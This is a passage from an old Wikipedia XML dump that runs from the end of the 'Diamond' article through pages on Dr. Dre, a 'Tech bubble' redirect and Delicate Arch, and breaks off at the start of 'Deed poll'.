In some of the more politically unstable central African and west African countries, revolutionary groups have taken control of diamond mines, using proceeds from diamond sales to finance their operations. Diamonds sold through this process are known as ''[[conflict diamond]]s'' or ''blood diamonds''. In response to public concerns that their diamond purchases were contributing to war and human rights abuses in central Africa and west Africa, the diamond industry and diamond-trading nations introduced the [[Kimberley Process]] in 2002, which is aimed at ensuring that conflict diamonds do not become intermixed with the diamonds not controlled by such rebel groups. The Kimberley Process provides documentation and certification of diamond exports from producing countries to ensure that the proceeds of sale are not being used to fund criminal or revolutionary activities. Although the Kimberly Process has been somewhat successful in limiting the number of conflict diamonds entering the market, conflict diamonds smuggled to market continue to persist to some degree.

Currently, gem production totals nearly 30 million carats (6,000 kg) of cut and polished stones annually, and over 100 million carats (20,000 kg) of diamonds are sold for industrial use each year. In 2003, this constituted total production of nearly US$9 [[billion]] in value.

==== Distribution ====
The [[Diamond Trading Company]], or DTC, is a subsidiary of De Beers and markets rough diamonds produced both by De Beers mines and other mines from which it purchases rough diamond production; in whole, about two thirds of all rough diamonds pass through the company. DTC performs sophisticated sorting of rough diamonds into over 16,000 categories, and then sells bulk lots of rough diamonds to a limited number of sightholders a few times a year.

Once purchased by sightholders, diamonds are cut and polished in preparation for sale as gemstones. The cutting and polishing of rough diamonds is a specialized skill that is concentrated in a limited number of locations worldwide. Traditional diamond cutting centers are [[Antwerp]], [[Amsterdam]], [[Johannesburg]], [[New York, New York|New York]], and [[Tel Aviv]]. Recently, diamond cutting centers have been established in [[China]], [[India]], and [[Thailand]]. Cutting centers with lower [[cost of labor|costs of labor]], notably [[Surat]] in Gujarat, India, handle a larger number of smaller carat diamonds, while smaller quantities of larger or more valuable diamonds are more likely to be handled in [[Europe]] or [[North America]]. Demonstrating this, India produces 90% of all cut and polished diamonds by number, but only 55% by value. The recent expansion of this industry in India, employing low cost labor, has allowed smaller diamonds to be prepared as gems than was previously economically feasible.

Diamonds which have been prepared as gemstones are sold on diamond exchanges called ''bourses''. There are 24 registered diamond bourses. This is the final tightly controlled step in the diamond supply chain; wholesalers and even retailers are able to buy relatively small lots of diamonds at the bourses, after which they are prepared for final sale to the consumer. Diamonds can be sold already set in jewelry, or as is increasingly popular, sold unset (&quot;loose&quot;). According to the Rio Tinto Group, in 2002 the diamonds produced and released to the market were valued at US$9 billion as rough diamonds, US$14 billion after being cut and polished, US$28 billion in wholesale diamond [[jewelry]], and retail sales of US$57 billion. [http://www.riotintodiamonds.com/market/industry.asp]

===Synthetics, simulants, and enhancements===
{{main|Synthetic diamond}}
{{main|Diamond simulants}}
{{main|Diamond enhancement}}
The gemological and industrial uses of diamond have created a large demand for raw stones. A portion of this demand is now being met by [[synthetic diamond]]s, man-made diamonds which have similar properties to natural diamonds. This process has historically produced industrial-grade diamonds, but synthetic diamond producers have recently begun to penetrate the gem diamond market. Diamonds have been manufactured synthetically for over fifty years.

A diamond's gem quality, which is not as dependent on material properties as industrial applications, has invited both imitation and the invention of procedures to enhance the gemological properties of natural diamonds. Materials which have similar gemological characteristics to diamond but are not real mined or synthetic diamond are known as ''diamond simulants''. The most familiar diamond simulant to most consumers is [[cubic zirconia]] (commonly abbreviated as CZ); recently [[moissanite]] has also gained cachet as a popular diamond simulant. Both CZ and moissanite are synthetically produced for use as a diamond simulant. Diamond enhancements are specific treatments, performed on natural diamonds (usually those already cut and polished into a gem), which are designed to better the gemological characteristics of the stone in one or more ways. These include laser drilling to remove inclusions, application of sealants to fill cracks, treatments to improve a white diamond's color grade, and treatments to give fancy color to a white diamond.

Currently, trained gemologists with appropriate equipment are able to distinguish natural diamonds from all synthetic and simulant diamonds, and identify all enhanced natural diamonds. The established natural diamond industry has a vested interest in maintaining the distinction between natural diamonds and other diamonds, and has made significant investments toward that end. However, synthetic diamonds may one day be indistinguishable from natural diamonds, and new techniques for simulants (such as coating them with a very thin diamond-like layer of carbon) are making it harder to easily distinguish between simulants and real diamonds.

==Symbolism==
[[Image:Mary of burgundy.jpg|right|thumb|Mary of Burgundy is the first known recipient of a diamond engagement ring, in 1477.]]
Because of their extraordinary physical properties, diamonds have been used symbolically since near the time of their first discovery. Perhaps the earliest symbolic use of diamonds was as the eyes of [[Hinduism|Hindu]] devotional statues. The diamonds themselves were thought to be endowments from the gods and were therefore cherished. The point at which diamonds began to be associated with divinity is not known, but early texts indicate that it was recognized in [[India]] since at least [[400 BCE]]. It is said the [[Ancient Greece|Greeks]] believed diamonds were tears of the gods; the [[Ancient Rome|Romans]] believed they were splinters of fallen stars. Many long dead cultures have sought to explain diamond's superlative properties through divine or mystical affiliations.

In [[Tibetan Buddhism]], also known as [[Vajrayana]] (Diamond Vehicle), diamonds are an important symbol, and the [[Diamond Sutra]] is one of the most popular texts.

In Western culture, diamonds are the traditional emblem of fearlessness and virtue, but have also often associated with power, wealth, crime and misfortune. Today, diamonds are used to symbolize eternity and love, being often seen adorning [[engagement ring]]s and sometimes [[wedding ring]]s as well. The popularity of this modern tradition can be traced directly to the marketing campaigns of De Beers, starting in 1938. Prior to the [[De Beers]] marketing campaign, engagement rings had no one particular stone associated with them. The first diamond engagement ring can be traced to the marriage of [[Maximilian I, Holy Roman Emperor|Maximilian I]] (then Archduke of [[Austria]]) to [[Mary of Burgundy]] in 1477. Other early examples of betrothal jewels incorporating diamonds include the ''Bridal Crown of Blanche'' (ca. 1370&amp;ndash;80) and the ''Heftlein'' brooch of Vienna (ca. 1430&amp;ndash;40), a pictorial piece depicting a wedding couple. Inaccessibility of diamonds to the vast majority of the population limited the popularity of diamonds as betrothal jewels during this period.


The [[LifeGem]] company further taps modern symbolism by offering to synthetically convert the carbonized remains of people or pets into &quot;memorial diamonds.&quot; However, many people feel very uncomfortable at the thought of wearing the carbonized remains of people as jewelry.

The diamond is the [[birthstone]] for people born in the month of [[April]], and is also used as the symbol of a sixty-year [[anniversary]], such as a [[Diamond Jubilee]] (see ''[[hierarchy of precious substances]]'').

Diamonds are a common focus of fiction. Notable pieces of fiction include [[Ian Fleming]]'s ''[[Diamonds Are Forever]]'' (1956), [[Arthur C. Clarke]]'s ''[[2061: Odyssey Three]]'' (1988) and [[Neal Stephenson]]'s ''[[The Diamond Age]]'' (1995). In addition, diamonds are the subject of various myths and legends.

==External links==
{{commons|Diamond}}
*[http://www.prismgem.com Prism Gem (information on colored diamonds)]
*[http://www.sciencetechnologies.com/wikimol/index.php/Diamond 3D Interactive Molecular Visualization of Diamond] at '''[http://www.sciencetechnologies.com/wikimol WikiMol]''' (requires [[Macromedia Flash]])
*[http://www.elementsmagazine.org/Elements_online/ELEM_V1n2.pdf Elements vol.1 no.2 (March 2005): Diamonds] (.[[pdf]] file)
*[http://www.gia.edu Gemological Institute of America]
*[http://newton.ex.ac.uk/research/qsystems/people/sque/diamond/structure.html Interactive structure of bulk diamond] (Java applet).
*[http://www.pbs.org/wnet/nature/diamonds/index.html PBS Nature: Diamonds]
*[http://www.cutstudy.com Russian Gemological Server]
*[http://www.mnh.si.edu/exhibits/si-gems Smithsonian's exhibit of fancy color diamonds]
*[http://www.ist.fraunhofer.de/kompetenz/super/diamant/frames.html Synthetic CVD diamond coatings at the Fraunhofer Institute for Surface Engineering and Thin Films]
*[http://www.theatlantic.com/doc/198202/diamond The Atlantic Online: 1982 article on the De Beers diamond cartel and on the creation and evolution of the gem diamond market]

==References==
* American Museum of Natural History. [http://www.amnh.org/exhibitions/diamonds/ &quot;The Nature of Diamonds&quot;]. Retrieved March 9, 2005.
* Anderson, Arthur &amp; Judith. [http://www.jewelryexpert.com/articles/Fancy-Color-Diamonds.htm &quot;Fancy Color Diamonds&quot;]. Retrieved September 12, 2005.
* The Columbia Electronic Encyclopedia, Sixth Edition (2003). &quot;Diamond&quot;. Retrieved March 9, 2005 at http://www.answers.com/topic/diamond.
* Cuellar, Fred. [http://www.diamondcuttersintl.com/diamond_education/articles/customers/getting_in_shape.html &quot;Diamonds - Getting Into Shape&quot;]. Diamond Cutters International. Retrieved April 10, 2005.
* David, Joshua (September 2003). [http://www.wired.com/wired/archive/11.09/diamond.html &quot;The New Diamond Age&quot;]. ''Wired'', issue 11.09.
* De Beers Group. [http://www.debeersgroup.com/debeersweb &quot;De Beers Group&quot;]. Retrieved March 14, 2005.
* Epstein, Edward Jay (February 1982). [http://www.theatlantic.com/issues/82feb/8202diamond1.htm &quot;Have You Ever Tried To Sell a Diamond?&quot;] (subscription required). ''The Atlantic Monthly''.
* Epstein, Edward Jay (1982). [http://edwardjayepstein.com/diamond/prologue.htm &quot;THE DIAMOND INVENTION&quot;] (Complete book, includes &quot;Chapter 20: Have you ever tried to sell a diamond?&quot;)
* Eppler, W.F. ''Praktische Gemmologie''. Rühle-Diebner-Verlag, 1989
* Government of Gujarat (2004). [http://www.vibrantgujarat.com/sp-gems.html &quot;Vibrant Gujarat: Sector Profiles&quot;]. Retrieved March 14, 2005.
* Kjarsgaard, B.A. and Levinson, A. A. (2002). Diamonds in Canada. ''Gems &amp; Gemology'', Vol. 38, No. 3, pp. 208&amp;ndash;238.
* Pagel - Theisen, Verena. ''Diamond Grading ABC: the Manual.'' Rubin &amp; Son, Antwerp, Belgium, 2001. ISBN 3980043460
* Pricescope.  [http://www.pricescope.com/Reports.asp?shp=8&amp;cut=2 &quot;Diamond price report&quot;]. Retrieved September 26, 2005.
* Sque, Steve (March 8, 2005). [http://newton.ex.ac.uk/research/qsystems/people/sque/diamond/ &quot;Properties of Diamond&quot;]. Retrieved March 10, 2005.
* Taylor, W.R., Lynton A.J. &amp; Ridd, M., (1990) Nitrogen defect aggregation of some Australasian diamonds: Time-temperatre constraints on the source regions of pipe and alluvial diamonds. ''American Mineralogist'', 75, pp. 1290-1310.
* Tolkowsky, Marcel (1919). ''Diamond Design: A Study of the Reflection and Refraction of Light in a Diamond.'' London: E. &amp; F.N. Spon, Ltd. ([http://www.folds.net/diamond/index.html Web edition] as edited by Jasper Paulsen, Seattle, 2001.)
* Tyson, Peter (November 2000). [http://www.pbs.org/wgbh/nova/diamond/sky.html &quot;Diamonds in the Sky&quot;]. Retrieved March 10, 2005.
* United Nations Department of Public Information (March 21, 2001). [http://www.un.org/peace/africa/Diamond.html &quot;Conflict Diamonds&quot;]. Retrieved March 10, 2005.
* Weiner, K.L., Hochleitner, R., Weiss, S., Voelstadt H. ''Diamant'', Lapis, München, 1994.
* Yarnell, Amanda (February 2, 2004). [http://pubs.acs.org/cen/coverstory/8205//8205diamonds.html &quot;The Many Facets of Man-Made Diamonds&quot;]. ''Chemical &amp; Engineering News'', vol. 82, no. 5, pp 26&amp;ndash;31.
* American Museum of Natural History. [http://www.amnh.org/exhibitions/diamonds/index.html &quot;The Nature of Diamonds&quot;]. Retrieved Oct 21,2005.
* Supercomputing Institute.[http://www.msi.umn.edu/general/Bulletin/Vol.15-No.3/article_3.html&quot;Simulation of diamond growth&quot;].Retrieved Nov 01,2005.
* Carnegie Institution.[http://www.carnegieinstitution.org/diamond-13may2005/ &quot;Very Large Produced Very Fast Diamond&quot;].Retrieved Nov 01,2005.

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[[Category:Semiconductor materials]]

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  </page>
  <page>
    <title>Dr. Dre</title>
    <id>8083</id>
    <revision>
      <id>42080131</id>
      <timestamp>2006-03-03T18:10:57Z</timestamp>
      <contributor>
        <ip>67.10.243.144</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the Los Angeles rapper and producer Dr. Dre.  For the New York radio and television presenter, see [[Doctor Dre]]'' 
[[Image:DR-DRE.jpg|frame|Dr.Dre|right]]
'''Dr. Dre''' (born '''Andre Romel Young''' on [[February 18]], [[1965]], in [[Compton, California|Compton]], [[Los Angeles, California]]) is an [[African-American]] [[record producer]], [[rapper]], and record executive, and is one of the wealthiest, most influential, most successful and well-known producers in the field of [[hip hop music]].

Dre became famous as a member of iconic [[gangsta rap]] group [[N.W.A]], continuing his success as a best-selling solo rapper, and most famously, the founder of record labels [[Death Row Records]] and [[Aftermath Entertainment]]. He is notable for having launched the careers of rap superstars [[Snoop Dogg]] and [[Eminem]], and is widely regarded as one of hip hop's greatest producers. The artists on his sizeable Aftermath roster today include [[RIAA|multi-platinum]] artists such as [[Eminem]], [[50 Cent]], and more recently [[Busta Rhymes]], [[Eve (rapper)|Eve]], [[The Game (rapper)|The Game]] and of course Dr. Dre himself.

Dr. Dre has made three solo albums, [[The Chronic]], [[Dr. Dre Presents... The Aftermath]], [[2001 (album) | 2001]]. 

==Biography==
Dr. Dre started his producing career as a member of the [[World Class Wreckin' Cru]] during the first half of the [[1980s]]. In [[1986]], he and fellow World Class Wreckin' Cru member [[DJ Yella]] were two of the founding members of N.W.A, a highly successful and controversial group which created the prototype for much of what was termed &quot;gangsta rap&quot; in the [[1990s]]. On the other hand, Dre's rapping style and image was still very much evolving at the time. Take, for example, his verse on the song &quot;Express Yourself&quot; off the album ''[[Straight Outta Compton]]'':

:Some drop science; while I'm droppin' english
:Even if Yella, makes it [[A cappella|a-capella]]
:I still express, yo, I don't smoke [[cannabis (drug)|weed]] or cess
:Cause it's known to give a brother brain damage
:And brain damage on the mic don't manage - NUTHIN
:but makin' a sucka and you equal
:Don't be another sequel..
(NWA, &quot;Express Yourself&quot;)

Dr. Dre enjoyed significant success in N.W.A.. After a dispute with [[Eazy-E]], a founding member of N.W.A. and [[Ruthless Records]], Dre left the group at the peak of its popularity in [[1991]] to form Death Row Records with Suge Knight.

Dr. Dre released his first solo single, &quot;[[Deep Cover (single)|Deep Cover]],&quot;(AKA 187) in the spring of [[1992]]. This was the beginning of his collaboration with rapper Snoop Doggy Dogg (who is now simply known as &quot;Snoop Dogg&quot;, following his departure from [[Death Row Records]],) a young man who had recorded some homemade tapes with Dre's stepbrother [[Warren G]]. Warren G played Dre some of Snoop's [[mixtape]]s and Dre arranged a meeting with the young man, beginning a lifelong association. [[Image:Dr.DreTheChronicalbumcover.jpg|frame|Dr. Dre's Chronic|right]]
Snoop's voice appeared on Dre's [[1992]] debut album ''[[The Chronic]]'' as much as Dre's did.  Thanks to the single &quot;[[Nuthin' But a 'G' Thang]],&quot; and hits like &quot;Let Me Ride&quot; and &quot;Fuck Wit Dre Day (And Everybody's Celebratin')&quot;, ''The Chronic'' became a multi-platinum seller, making it virtually impossible to hear mainstream hip-hop that wasn't affected in some way by Dr. Dre. Shortly after its release, [[The Chronic]] became one of the biggest-selling hip hop albums in history. The song &quot;Let Me Ride&quot; won Dre the 1993 Grammy for Best Rap Solo Performance. &quot;The Chronic&quot; was followed shortly by a string of multi-platinum albums from Dre’s protégés, including Snoop Dogg’s debut album [[Doggystyle]] and [[Warren G]]’s ''[[Regulate... G Funk Era]]''. 

The following year, Dr. Dre produced Snoop Dogg's debut album ''Doggystyle'', with similar subject matter and musical style. ''Doggystyle'' achieved phenomenal success, being the first debut album for an artist to debut at #1 on the [[Billboard magazine|Billboard]] charts.

In [[1996]], the song &quot;California Love,&quot; a highly successful collaboration with [[Death Row Records | Death Row]] artist [[Tupac Shakur]], helped further establish [[Death Row Records | Death Row]] and Dr. Dre as a major force in the music industry. By the end of the year, however, the success of [[Death Row Records | Death Row]] had taken a reverse turn, following the death of [[Tupac Shakur]] and [[racketeering]] charges against [[Suge Knight]]. Foreseeing the label's collapse, Dr. Dre left [[Death Row Records | Death Row]] to form his own [[Aftermath Entertainment]] label. The ''[[Dr. Dre Presents...The Aftermath]]'' album, released at the end of the year, featured songs by the newly signed [[Aftermath Entertainment | Aftermath]] artists, and a solo track &quot;Been There, Done That&quot;. The track was intended as a symbolic good-bye to [[gangsta-rap]], in which Dre suggested that he is moving on to another level of music and lifestyle. While going platinum, the album was considered a commercial disappointment by Dre's standards, and was a critical failure as well.

In 1997, Dre produced ''[[Nas, Foxy Brown, AZ, and Nature Present The Firm: The Album]]''; while also going platinum, the album met with similarly negative reviews from critics.

The turning point for Aftermath came in [[1998]], when Dre signed aspiring Detroit rapper Eminem to his label, producing his controversial album ''[[The Slim Shady LP]]'' in [[1999]], followed by the even more successful and controversial ''[[The Marshall Mathers LP]]'' in [[2000]]. Though he was heavily involved in the latter, producing five beats with collaborator [[Mel-Man]], by the time ''[[The Eminem Show]]'' was released in [[2002]], Eminem was producing the bulk of his output himself. However, ''[[Encore (album)|Encore]]'' featured substantially increased production involvement from Dre.

He released his second solo album, ''[[Dr. Dre 2001]]'' (sometimes referred to by fans as ''&quot;The Chronic 2001: No Seeds&quot;''), or more often simply '2001' in 1999. Once again, the album featured about as much of Dre's voice as the voices of numerous collaborators, including [[Devin the Dude]], [[Hittman]], Snoop Dogg, and Eminem. The album was highly successful, thus reaffirming a recurring theme featured in its lyrics, stating that Dre is still a force to be reckoned with, despite the lack of major releases in the previous few years. 

In 2000, Dr. Dre won the Grammy award for Producer Of The Year, for his work on &quot;[[The Marshall Mathers LP]]&quot; and &quot;2001&quot;. The albums followed a new musical direction, characterised by high-pitched piano and string melodies over a deep and rich [[bassline]]. The style was also prominent in his following production work for other artists, including hits such as &quot;Let Me Blow Ya Mind&quot; by Eve and [[Gwen Stefani]] (whom he would produce again on the Stefani and Eve track &quot;Rich Girl&quot;), &quot;Break Ya Neck&quot; by Busta Rhymes, and &quot;Family Affair&quot; by [[Mary J. Blige]].

Dr. Dre has also appeared in the movies ''[[Set It Off]]'', ''[[The Wash (movie)|The Wash]]'' and ''[[Training Day]]'', though he later stated that he does not intend to pursue a career in acting. A song of his, &quot;Bad Intentions&quot; (featuring [[Knoc-Turn'Al]]) and produced by Mahogany, was featured on the [[soundtrack]] to ''[[The Wash (movie)|The Wash]]''. Dre also appeared on two other songs &quot;On the Blvd.&quot; and &quot;The Wash&quot; along with his co-star Snoop Dogg.

In [[2003]], Dr. Dre and Eminem produced the major-label debut ''[[Get Rich or Die Tryin']]'' for [[Queens]] rapper 50 Cent, featuring the Dre-produced hit single &quot;[[In Da Club]].&quot;

The release of ''[[Detox (album)|Detox]]'', which was to be Dre's final solo album, was planned for [[2004]]. The project was declared to be cancelled for a while, as Dre decided to put all his effort into producing the artists on his [[Aftermath Entertainment | Aftermath]] label, including Eminem, 50 Cent, Eve, The Game, Stat Quo, and Busta Rhymes; former N.W.A member [[Ice Cube]] is currently negotiating a contract with the label.  However, in [[November]] 2004, Dre and [[Interscope Records|Interscope]] confirmed that ''Detox'' was still in the works and is currently scheduled to be released in late [[2006]]. On Eminem's song &quot;[[Encore (song)|Encore]]&quot;, featuring Dre himself, Eminem mentions that the Eminem crew will &quot;make&quot; him do the album. Dre will also be producing Snoop Dogg's next album, ''[[The Blue Carpet Treatment]]'' which will be released in 2006.

==Albums Discography==
===With N.W.A===
*''[[N.W.A. and the Posse]]'', [[Ruthless Records]], 1987.
*''[[Straight Outta Compton]]'', Ruthless Records, 1989.
*''[[100 Miles and Runnin']] '', Ruthless Records, 1990.
*''[[Efil4zaggin]] (&quot;Niggaz4life&quot; spelled backwards)'', Ruthless Records, 1991.

===Solo===
*''[[The Chronic]]'', [[Death Row Records]], [[1992]] #3 US (4x Platinum)
*''[[Concrete Roots]]'' Hitman Music, [[1994]] Exec. Prod.[[DJ Flash]]
*''[[Greatest Hits (Dr. Dre album)|Greatest Hits]]'', Central Station , [[1996]]
*''[[Dr. Dre Presents...The Aftermath]]'', [[Aftermath Records]], 1996
*''[[First Round Knock Out]]'', Triple X, [[1996]] — collection of early recording and Dre-produced material 
*''[[Back 'N The Day]]'', Blue Dolphin, 1996 — Budget-priced compilation of mid-1990s remixes of pre-N.W.A Dre tracks
*''[[2001 (album)|2001]]'', Aftermath Records, 1999 #2 US (6x Platinum), #4 UK
*''[[Maximum Dr. Dre]]'', Orchard, [[2001]]
*''[[Chronicle: Best of the Work]]'', Death Row Records, 2002
*''[[Greatest Hits V.2]]'', Central Station, 2004
*''[[Detox (album)|Detox]]'', [[Aftermath Records]], official release date T.B.A.

===Production===
*Eazy E - '' [[Eazy Duz It]]'', [[Ruthless Records]], [[1989]] (2x Platinum) (Producer)
*The D.O.C - '' [[No One Can Do It Better]]'', Ruthless/Interscope, 1989 (Platinum) (Producer)
*Snoop Doggy Dogg - ''Doggystyle'', Death Row/Interscope, [[1993]] (4x Platinum) (Producer) 
*The Firm - ''[[Nas, Foxy Brown, AZ, and Nature Present The Firm: The Album]]'', Aftermath/Interscope, [[1997]] (Platinum) (Executive producer/Producer)
*Eminem - ''[[The Slim Shady LP]]'', Aftermath/Interscope, 1999 (4x Platinum) (Executive producer/Producer)
*Eminem - ''[[The Marshall Mathers LP]]'', Aftermath/Interscope, 2000 (9x Platinum) (Executive producer/Producer)
*Eminem - ''[[The Eminem Show]]'', [[Shady Records|Shady]]/Aftermath/Interscope, 2002 (8x Platinum) (Executive producer/Producer)
*50 Cent - ''[[Get Rich or Die Tryin' (2003 album)|Get Rich or Die Tryin']]'', Shady/Aftermath/Interscope, [[2003]] (6x Platinum) (Executive producer/Producer)
*Eminem - ''[[Encore (album)|Encore]]'', Shady/Aftermath/Interscope, 2004 (4x Platinum) (Executive producer/Producer)
*The Game - ''[[The Documentary]]'', [[G-Unit Records|G-Unit]]/Aftermath/Interscope, [[2005]] (5x Platinum) (Executive producer/Producer)
*50 Cent - ''[[The Massacre]]'', G-Unit/Shady/Aftermath/Interscope, 2005 (6x Platinum) (Executive producer/Producer)
*50 Cent - ''[[Get Rich or Die Tryin' (2005 album)|Get Rich or Die Tryin']]'' (soundtrack,) G-Unit/Shady/Aftermath/Interscope, 2005 (Platinum) (Executive producer/Producer)

===Mixtapes===
*''[[Detox - Millennium Of Aftermath]]'' (by [[DJ Rukiz]]), Pickwick, 2005. #183 UK
*''[[Pretox]]'' 2005
*''[[Dretox]]'' 2005

==Singles Discography==
* &quot;Surgery&quot; ([[World Class Wreckin Cru]]) (1984)
* &quot;Rapping 100 Speakers&quot; ([[Daniel Sofer]]/[[The Unknown DJ|Unknown DJ]]/[[Dr. Dre]]) (1984)
* &quot;Juice&quot; ([[World Class Wreckin Cru]]) (1985)
* &quot;World Class (Remix)&quot; ([[World Class Wreckin Cru]]) (1985)
* &quot;House Calls&quot; ([[World Class Wreckin Cru]]) (1987)
* &quot;Turn Out The Lights&quot; ([[World Class Wreckin Cru]]) (1987)
* &quot;Illegal&quot; ([[CIA]]/[[Dr. Dre]]) (1987)
* &quot;Dope Man/Panic Zone&quot; ([[N.W.A|NWA]]) (1987)
* &quot;Express Yourself&quot; ([[N.W.A|NWA]]) (1987)
* &quot;[[Deep Cover (single)|Deep Cover]]&quot; (feat. Snoop Doggy Dogg) (1992)
* &quot;[[Nuthin' but a 'G' Thang]]&quot; (1993) #2 US (Platinum), #31 UK (1994 release, and double A-Side with &quot;Let Me Ride&quot; in the UK)
* &quot;[[Dre Day|Fuck Wit Dre Day (And Everybody's Celebratin')]]&quot; (1993) #8 US (Gold)
* &quot;[[Let Me Ride]]&quot; (1993) #34 US
* &quot;Natural Born Killaz&quot; (1994)
* &quot;Keep Their Heads Ringin'&quot; (1995) #10 US (Gold), #25 UK
* &quot;[[California Love]]&quot; ([[2Pac]] feat. Dr. Dre) (1996) (also featuring [[talk box]]-filtered lyrics by [[Roger Troutman]]) #1 US, #6 UK, #4 AUS
* &quot;[[No Diggity]]&quot; ([[Blackstreet]] feat. Dr. Dre) (1996) #1 US; #9 UK, #21 AUS
* &quot;Zoom&quot; (with [[LL Cool J]]) (1998) #15 UK
* &quot;[[Guilty Conscience]]&quot; (Eminem feat. Dr. Dre) (1999) #5 UK
* &quot;Still D.R.E.&quot; (feat. Snoop Dogg) (2000) #6 UK
* &quot;Forgot About Dre&quot; (feat. Eminem) (2000) #25 US; #7 UK
* &quot;The Next Episode&quot; (feat. Snoop Dogg) (2000) #23 US; #3 UK
* &quot;Bad Intentions&quot; (feat. [[Knoc-Turn'al]]Produced by Mahogany) (2002) #4 UK
* &quot;Knoc&quot; ([[Knoc-Turn'al]] with Dr. Dre &amp; [[Missy &quot;Misdemeanor&quot; Elliott]]) (2002) #98 US
* &quot;Symphony In X Major&quot; ([[Xzibit]] feat. Dr. Dre) (2003) #43 AUS
* &quot;Encore&quot; (Eminem feat. Dr. Dre &amp; 50 Cent) (2004) #25 US
* &quot;Here We Go Again&quot; [[The Game (rapper)|The Game]] feat. Dr. Dre (2005)

==Producing discography==

==External links==
* [http://www.dre2001.com/ Official Site]
* [http://aftermath-entertainment.com/ Aftermath Records]
* [http://aftermathmusic.com Aftermath Entertainment]
* [http://www.dr-dre.com Dr. Dre News]
* [http://www.dubcc.com/forum/index.php?topic=30148.0 Dr. Dre Productions C.V. on Dubcc.com]
* [http://www.drdre.us Dr Dre]
* [http://www.imdb.com/name/nm0236564/ Dr. Dre] on IMDb
* [http://www.the-breaks.com/search.php?term=Dr+Dre&amp;type=6 Rap Samples FAQ]

&lt;!-- Categories --&gt;
&lt;!-- Translations --&gt;


[[Category:1965 births]]
[[Category:Living people]]
[[Category:African American musicians]]
[[Category:Aftermath Entertainment]]
[[Category:American music industry executives]]
[[Category:American rappers]]
[[Category:American_record_producers]]
[[Category:California musicians]]
[[Category:Grammy Award Winners]]
[[Category:Hip hop producers]]
[[Category:MTV Music Award Winners]]
[[Category:Music video directors]]
[[Category:Rhythmic Top 40 acts|Dr. Dre]]

[[ar:دكتور دري]]
[[cs:Dr. Dre]]
[[da:Dr. Dre]]
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[[fi:Dr. Dre]]
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[[gd:Dr. Dre]]
[[he:ד&quot;ר דרה]]
[[it:Dr. Dre]]
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[[tr:Dr. Dre]]</text>
    </revision>
  </page>
  <page>
    <title>Tech bubble</title>
    <id>8084</id>
    <revision>
      <id>15906107</id>
      <timestamp>2004-09-08T00:56:41Z</timestamp>
      <contributor>
        <username>Avsa</username>
        <id>48117</id>
      </contributor>
      <minor />
      <comment>Dot-com, merged with</comment>
      <text xml:space="preserve">#REDIRECT [[Dot-com]]</text>
    </revision>
  </page>
  <page>
    <title>Delicate Arch</title>
    <id>8085</id>
    <revision>
      <id>41111206</id>
      <timestamp>2006-02-25T02:57:46Z</timestamp>
      <contributor>
        <username>Blarbo</username>
        <id>987923</id>
      </contributor>
      <comment>Added own photo, didn't want to offend anyone and remove the redundant second photo. (though it looks better)</comment>
      <text xml:space="preserve">{| align=&quot;right&quot;
|-
| [[Image:Delicatearch.jpg|thumb|300px|Delicate Arch]]
|-
| [[Image:Delicate Arch LaSalle.jpg|thumb|300px|Delicate Arch]]
|-
| [[Image:Delicatearchfromback.jpg|thumb|300px|Delicate Arch from the rear]]
|}

'''Delicate Arch''' is a remarkable freestanding [[natural arch]] located in [[Arches National Park]] near [[Moab, Utah|Moab]], [[Utah]]. 

It is the most widely-recognized [[landmark]] in Arches National Park and is depicted on both Utah [[license plate]]s and a [[postage stamp]] commemorating Utah's [[centennial]] anniversary of [[List of U.S. states by date of statehood|statehood]] in [[1996]]. The [[Olympic torch]] [[relay]] for the [[2002 Winter Olympics]] passed through the arch.

The Delicate Arch is located at the end of a moderately strenuous, 1.5-mile (2.4 km) hiking trail from the parking area at [[Wolfe Ranch]]. Taking more than an hour each way, the round trip is slightly more than 3 miles long and the Arch is completely hidden from view on this trail.  The first third of the hike gains only a slight elevation, but is through rugged, brushy terrain. On the middle third of the hike the trail is nearly invisible, along the face of an exposed [[entrada|slickrock]] outcrop. Slickrock is not slick at all, but has a surface much like [[sandpaper]]. The elevation gain on this section is strenuous, but offers some excellent pauses to see the [[geology]] in the salt valley more clearly. Cairns (piles of rocks) have been placed by visitors and park staff to roughly suggest the trail to the top.  But visitors will enjoy the huge expanse of completely exposed [[sandstone]] and tend to wander all over the mountain.  Aiming for the top of the slickrock, mostly to the right(south)side will bring you to the correct trail at the top.  The latter third of the trail is the most rugged, as hikers have now nearly reached the &quot;top&quot; of the plateau.  The Arch is still invisible, and the trail runs around outcrops, through washes and between stands of twisted brush and trees.  The trail may be easier to follow, but will tend to wander as parts become muddy and difficult to walk through.  During the 2004 fall season, the trail clearly followed the left (northern) side of the plateau, and brought visitors along a breathtakingly narrow shelf nearly 150 feet above a dry wash.  The arch rises suddenly into view around a corner in the trail and spectacularly frames the [[Manti-La Sal National Forest|La Sal Mountains]] to the east.  Plan on spending at least an hour at the Arch, due to the need to take a lot of pictures. Step carefully, the geology at the arch is unbelievable, and very rugged.  Small children (4 years and up) can make this hike, with frequent stops and lots of water, but they will need to be closely monitored at the Arch as many of the unguarded cliffs plunge a hundred feet or more.  The views of the southern expanse of the park are spellbinding. Visitors are strongly cautioned to be aware of weather conditions prior to the hike, as the entire trail is exposed to the elements.

Because of its distinctive shape, the arch was known as &quot;the Chaps&quot; and &quot;the Schoolmarm's Bloomers&quot; by local cowboys. It was given its current name by Frank Beckwith, leader of the Arches National Monument Scientific Expedition, who explored the area in the winter of [[1933]]-[[1934]]. (The story that the names of Delicate Arch and [[Landscape Arch]] were inadvertently exchanged due to a signage mixup by the [[National Park Service]] is false.)

The arch played no part in the original designation of the area as a [[U.S. National Monument]] in [[1929]], and was not included within the original boundaries; it was added when the monument was enlarged in [[1938]]. In the [[1950s]], the National Park Service investigated the possibility of applying a clear [[plastic]] coating to the arch to protect it from further [[erosion]] and eventual destruction. The idea was ultimately abandoned as impractical and contrary to NPS principles.

''See also'': [[Old Man of the Mountain]]

[[Category:Geography of Utah]]
[[Category:Natural arches]]</text>
    </revision>
  </page>
  <page>
    <title>Deed poll</title>
    <id>8086</id>
    <revision>
      <id>40784212</id>
      <timestamp>2006-02-23T00:13:43Z</timestamp>
      <contributor>
        <username>Yoninah</username>
        <id>317119</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">A '''deed poll''' is a [[Law|legal]] document binding only to a single person or several persons acting jointly to express an active intention. It is strictly speaking not a [[contract]] because it only binds one [[party (law)|party]] and expresses an intention instead of a promise.

